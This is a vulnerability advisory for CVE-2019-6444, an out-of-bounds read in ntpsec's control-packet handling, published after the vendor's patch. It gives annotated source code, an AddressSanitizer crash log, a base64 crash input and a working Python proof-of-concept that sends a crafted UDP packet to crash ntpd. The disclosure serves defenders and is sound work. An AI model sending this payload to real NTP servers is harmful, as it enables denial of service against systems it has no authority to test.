_ _ / | ___| |_ ___ ___ ___ ___ _ / / | | _| . |_ -| -_| _| |_|_/ |_|_|_| | _|___|___|___| |_| 2019-01-15 Out-of-bounds read in ntpsec ============================ CVE-2019-6444 This is the second of four bugs. For more visit: https://dumpco.re/blog/ntpsec-bugs An out-of-bounds read bug was found in ntpsec. Affected versions: ntpsec 1.1.1, 1.1.2 Timeline: 2018-10-15 Bug discovered 2018-10-17 Bug reported 2019-01-13 Vendor released patch version 1.1.3 2019-01-16 MITRE allocated CVE-2019-6444 The bug exists in process_control() in ntp_control.c. On line 712 in ntp_control.c, attacker controlled data is parsed into a uint16 in pkt->count. 700 /* 701 * unmarshall_ntp_control - unmarshall data stream into a ntp_sontrol struct 702 */ 703 void 704 unmarshall_ntp_control(struct ntp_control *pkt, struct recvbuf *rbufp) 705 { 706 pkt->li_vn_mode = (uint8_t)rbufp->recv_buffer[0]; 707 pkt->r_m_e_op = (uint8_t)rbufp->recv_buffer[1]; 708 pkt->sequence = extract_16bits_from_stream(&rbufp->recv_buffer[2]); 709 pkt->status = extract_16bits_from_stream(&rbufp->recv_buffer[4]); 710 pkt->associd = extract_16bits_from_stream(&rbufp->recv_buffer[6]); 711 pkt->offset = extract_16bits_from_stream(&rbufp->recv_buffer[8]); 712 pkt->count = extract_16bits_from_stream(&rbufp->recv_buffer[10]); 713 memcpy(&pkt->data, rbufp->recv_buffer + 12, 480 + MAX_MAC_LEN); 714 } 715 716 uint16_t 717 extract_16bits_from_stream(uint8_t *addr) 718 { 719 uint16_t var = 0; 720 var = (uint16_t)*addr << 8; 721 var |= (uint16_t)*(addr + 1); 722 var = ntohs(var); 723 return var; 724 } As shown below, the attacker controlled data is later dereferenced on line 861 by ntohl(): 771 int req_count; .. 786 unmarshall_ntp_control(&pkt_core, rbufp); // <- attacker controlled data parsed into pkt_core->count 787 pkt = &pkt_core; // <- .. 831 req_count = (int)ntohs(pkt->count); // <- .. 852 properlen = req_count + (int)CTL_HEADER_LEN; // <- .. 855 properlen = (properlen + 7) & ~7; 856 maclen = rbufp->recv_length - (size_t)properlen; 857 if ((rbufp->recv_length & 3) == 0 && 858 maclen >= MIN_MAC_LEN && maclen <= MAX_MAC_LEN) { 859 keyid_t keyid; 860 pkid = (void *)((char *)pkt + properlen); // <- 861 keyid = ntohl(*pkid); // <- attacker controlled data dereferenced 862 DPRINT(3, ("recv_len %zu, properlen %d, wants auth with keyid %08x, MAC length=%zu\n", 863 rbufp->recv_length, properlen, keyid, 864 maclen)); 865 866 res_auth = authlookup(keyid, true); // FIXME 867 if (NULL == res_auth) 868 DPRINT(3, ("invalid keyid %08x\n", keyid)); 869 else if (authdecrypt(res_auth, (uint32_t *)pkt, 870 (int)rbufp->recv_length - (int)maclen, 871 (int)maclen)) { 872 DPRINT(3, ("authenticated okay\n")); 873 } else { 874 res_auth = NULL; 875 DPRINT(3, ("authentication failed\n")); 876 } 877 } Crash report: # uname -a Linux h4xb0x 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64 GNU/Linux # base64 ../../bug2 jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef # sha256sum ../../bug2 f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20 ../../bug2 # ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-3.5 ./build/main/ntpd/ntpd -n & sleep 1; cat ../../bug2 > /dev/udp/127.0.0.1/5123 [1] 24724 2018-10-16T20:59:43 ntpd[24724]: INIT: ntpd ntpsec-1.1.2 2018-10-15T18:34:38Z: Starting 2018-10-16T20:59:43 ntpd[24724]: INIT: Command line: ./build/main/ntpd/ntpd -n 2018-10-16T20:59:43 ntpd[24724]: INIT: precision = 0.125 usec (-23) 2018-10-16T20:59:43 ntpd[24724]: INIT: successfully locked into RAM 2018-10-16T20:59:43 ntpd[24724]: CONFIG: readconfig: parsing file: /etc/ntp.conf restrict 0.0.0.0: KOD does nothing without LIMITED. 2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: KOD does nothing without LIMITED. 2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: notrap keyword is ignored. restrict ::: KOD does nothing without LIMITED. 2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: KOD does nothing without LIMITED. 2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: notrap keyword is ignored. 2018-10-16T20:59:43 ntpd[24724]: INIT: Using SO_TIMESTAMPNS 2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 0 v6wildcard [::]:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 2 lo 127.0.0.1:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 3 eth0 192.168.245.220:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 4 eth0 192.168.245.131:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 5 lo [::1]:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:5123 2018-10-16T20:59:43 ntpd[24724]: IO: Listening on routing socket on fd #23 for interface updates 2018-10-16T20:59:43 ntpd[24724]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory ================================================================= root@h4xb0x:/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2# ==24724==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe933a6978 at pc 0x562d6d7978b1 bp 0x7ffe933a6690 sp 0x7ffe933a6688 READ of size 4 at 0x7ffe933a6978 thread T0 #0 0x562d6d7978b0 in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861:11 #1 0x562d6d76991b in receive /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_proto.c:676:3 #2 0x562d6d78695e in mainloop /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:982:6 #3 0x562d6d78695e in ntpdmain /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:911 #4 0x562d6d78695e in main /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:426 #5 0x7f4016dc9b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 #6 0x562d6d73a48c in _start (/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/ntpd/ntpd+0x10348c) Address 0x7ffe933a6978 is located in stack of thread T0 at offset 632 in frame #0 0x562d6d7964bf in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:768 This frame has 1 object(s): [32, 576) 'pkt_core' <== Memory access at offset 632 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861 process_control Shadow bytes around the buggy address: 0x10005266ccd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cce0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266ccf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10005266cd20: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3[f3] 0x10005266cd30: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x10005266cd40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cd50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cd60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10005266cd70: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc ASan internal: fe ==24724==ABORTING The following PoC exploit can be used to demonstrate the issue: #!/usr/bin/env python import sys import socket buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" + "\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" + "\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" + "\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" + "\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" + "\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" + "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" + "\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" + "\xd8\x80\x57\x9f") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(buf, ('127.0.0.1', 123)) Proof of discovery: # base64 ../../bug2 jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef # sha256sum ../../bug2 f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20 ../../bug2 https://twitter.com/magnusstubman/status/1051905422179880961 # References - ftp://ftp.ntpsec.org/pub/releases/ - https://gitlab.com/NTPsec/ntpsec/issues/508 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6444